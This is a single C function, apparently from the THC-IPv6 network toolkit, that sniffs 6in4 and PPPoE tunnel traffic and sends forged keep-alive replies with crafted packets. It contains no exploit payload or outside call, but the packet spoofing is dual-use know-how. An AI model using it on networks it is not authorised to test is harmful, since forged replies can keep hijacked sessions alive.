void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr, *pkt, buf[1500]; int len = header->caplen, pkt_len = 0; unsigned int *seq, offset = 0; unsigned short int *orig, *seen; thc_ipv6_hdr hdr; if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *)data, len, "Received packet on tunnel"); } if (type == 2) { // 6in4 len -= do_hdr_size; ipv6hdr = (unsigned char*) (data + do_hdr_size); if ((ipv6hdr[0] & 240) != 0x60) return; if (len < 48 || ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[41] != 0) return; seq = (unsigned int *) (ipv6hdr + 44); if (ipv6hdr[40] == ICMP6_PINGREQUEST) { printf("Keep-alive ping request ID 0x%x seen\n", htonl(*seq)); if (passive == 0) { if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, ipv6hdr + 24, ipv6hdr + 8, 255, 0, 0, 0, 0)) == NULL) return; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREPLY, 0, htonl(*seq), (unsigned char *) ipv6hdr + 40 + 8, len - 40 - 8, 0) < 0) return; if (thc_generate_and_send_pkt(interface, NULL, NULL, pkt, &pkt_len) < 0) return; pkt = thc_destroy_packet(pkt); printf("Keep-alive ping reply ID 0x%x sent\n", htonl(*seq)); } } if (passive && ipv6hdr[40] == ICMP6_PINGREPLY) printf("Keep-alive ping reply ID 0x%x seen\n", htonl(*seq)); } else { // PPPoE seen = (unsigned short int *) (data + 20 + offset + do_hdr_off); if (len < 40 || len > 1500 || htons(*seen) != 0xc021) return; seen = (unsigned short int *) (data + 16 + offset + do_hdr_off); if (memcmp(data + 16 + offset + do_hdr_off, do_hdr + 16 + offset + do_hdr_off, 2) != 0) { orig = (unsigned short int*) (do_hdr + 16 + offset + do_hdr_off); fprintf(stderr, "Warning: PPPoE SessionID is different to that defined in the environment variable! ((specified) %04x != %04x (seen))\n", htons(*orig), htons(*seen)); } if (data[22 + offset + do_hdr_off] == 9) { printf("Keep-alive request ID 0x%04x seen\n", htons(*seen)); if (passive == 0) { memcpy(buf + 12, data + 12, len - 12); memcpy(buf + 6, data, 6); memcpy(buf, data + 6, 6); buf[22 + offset + do_hdr_off] = 10; hdr.pkt = buf; hdr.pkt_len = len; if (thc_send_pkt(interface, (unsigned char*) &hdr, &len) < 0) { fprintf(stderr, "Error: could not send packet to interface %s (%d)\n", interface, thc_socket); exit(-1); } printf("Keep-alive reply ID 0x%04x sent\n", htons(*seen)); } } else { if (passive && data[22 + offset + do_hdr_off] == 10) printf("Keep-alive reply ID 0x%04x seen\n", htons(*seen)); } } return; }